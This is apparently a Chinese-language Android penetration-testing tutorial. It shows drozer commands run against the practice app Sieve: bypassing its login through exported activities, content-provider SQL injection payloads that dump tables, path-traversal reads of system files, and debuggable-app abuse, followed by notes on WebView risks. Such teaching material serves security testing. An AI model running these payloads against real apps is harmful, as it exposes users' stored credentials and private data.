0x01 使用Drozer进行测试
首先参考Android渗透测试之环境搭建中的drozer安装。本篇不重复说明。
基本使用方法
adb install [apk文件路径]

以下的命令均需在drozer命令环境中运行
dz> list

dz> run app.package.list

run app.package.list -f [要查找的字符串]

dz> run app.package.info -a [包名]

dz> run app.package.manifest [包名]

dz> run app.package.attacksurface

针对导出的activity的攻击
检测软件包中导出的activity:
> run app.activity.info -a [包名]

如果想要找出包括未导出的activity,可以在命令后面加上-u字符。
> run app.activity.info -a [包名] -u

尝试启动activity:
> run app.activity.start --component [包名] [组件名]
案例
目标应用sieve.apk,该应用是一款密码存储的软件,启动时需要密码认证

如果不知道密码,就无法登录,无法查看存储的记录,这里使用drozer绕过登录界面认证
首先查看该应用的activity组件有哪些:run app.package.list -a [应用包名]

可以发现有三个可导出的activity组件,分别为文件查看界面、登录界面、密码列表界面
使用run app.activity.start命令启动我们想查看的密码列表界面
run app.activity.start --component [包名] [组件名]

发现可不用登录,直接看到密码列表页面
使用run app.activity.start命令启动文件列表界面
run app.activity.start --component [包名] [组件名]

此处还存在目录遍历漏洞
针对Service的攻击
针对Broadcast Receive的攻击
列出应用导出的广播接收器:
> dz>run app.broadcast.info -a [包名]

同样可以使用-u列出所有的广播
> dz>run app.broadcast.info -a [包名] -u

使用命令调用广播:
> dz>run app.broadcast.send --action [广播Intent] --component [包名] [组件名] --extra string [广播内容]
针对Content Provider的攻击
列出应用导出的内容提供程序的URl:
> dz>run scanner.provider.finduris -a [包名]

查询内容提供程序的数据:
> dz>run app.provider.query [内容提供程序的URL]

另外,可以使用以下命令以垂直的形式显示结果
> dz>run app.provider.query [内容提供程序的URL] --vertical

sql注入漏洞
使用drozer的以下命令,可自动查找注入漏洞
> dz> run scanner.provider.injection -a [包名]

传入单引号尝试注入:
> dz>run app.provider.query [URL] --selection "'"


union查询语句:
> dz>run app.provider.query [URL] --selection "_id=1=1 ) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from sqlite_master where ( 1=1"
获取数据库版本
run app.provider.query [url] "sqlite_version();--"

run app.provider.query [url] --projection "* FROM SQLITE_MASTER WHERE type='table';--"

run app.provider.query [url] --projection "* FROM Key;--"

目录遍历漏洞
使用drozer的以下命令,可自动查找注入漏洞
> dz> run scanner.provider.traversal -a [包名]

读取/etc/hosts文件:
> dz>run app.provider.read [URL]/../../../../../../../../etc/hosts

读取内核版本:
> dz>run app.provider.read [URL]/../../../../../../../../proc/version

利用debug漏洞
如果AndroidManifte.xml文件中的android:debuggable的标志为true,就会造成漏洞,应用在虚拟机中是可调试的,它会暴露一个特殊的端口,我们可以通过JDB工具连接这个端口,这在支持JDWP协议的Dalvik虚拟机中是可能发生的。拥有设备物理访问权限的攻击者通过暴露的UNIX套接字连接应用,并在目标应用中运行任意的代码。这也是可能发生的。
列出所有可连接调试的PID:adb jdwp,在运行上述命令前,确保目标应用未运行,然后启动应用,再一次运行该命令,是应用进入激活状态,因为只有应用被激活时,才能看到它的PID,查找多出的PID
然后使用ps命令找出目标应用:
adb shell ps | grep "[pid]"

获取无root权限的shell,并使用run-as二进制文件,k可以查看到有漏洞的y应用的私有文件

0x02 webview攻击
webview是一个允许开发者加载的web视图,它使用webkitt之类的web渲染引擎。安卓4.4以前的系统使用webkit渲染引擎来加载这些web页面,从安卓4.4开始,这些工作由Chromium浏览器来完成。如果应用使用webview,它会加载webview的应用的上下文中运行。要从互联网加载外部web页面,应用需要在AndroidManifest.xml声明INTERNET权限。
<uses-permission adnroid:name="android.permission.INTERNET"></uses-permission>
在安卓应用中,使用webview可能会因开发者的失误而对应用造成多种风险。
通过file scheme访问本地敏感资源如果安卓应用使用了webview,而且用户可以自定义输入参数来加载web页面,用户有可能读取设备上目标应用上下文中的文件。(使用file://)
在使用addjavascriptInterface()方法时,我们需要格外注意,因为这个方法可以连接本地java代码和javascript,这意味着javascript代码可以调用本地java的功能。一旦攻击者将自己的代码注入到webview中,他就可以滥用这些充当桥梁作用的函数。(CVE-2012-6636)
除此之外,忽略SSL警告也是开发者常犯的错误,在Stack Overflow网站中简单地搜索webview SSL错误,忽略SSL错误,这样就会导致中间人攻击。
此处可参考Android渗透测试之恶意应用中的webview漏洞复现过程。
感兴趣的师傅可以关注公众号,感谢支持。
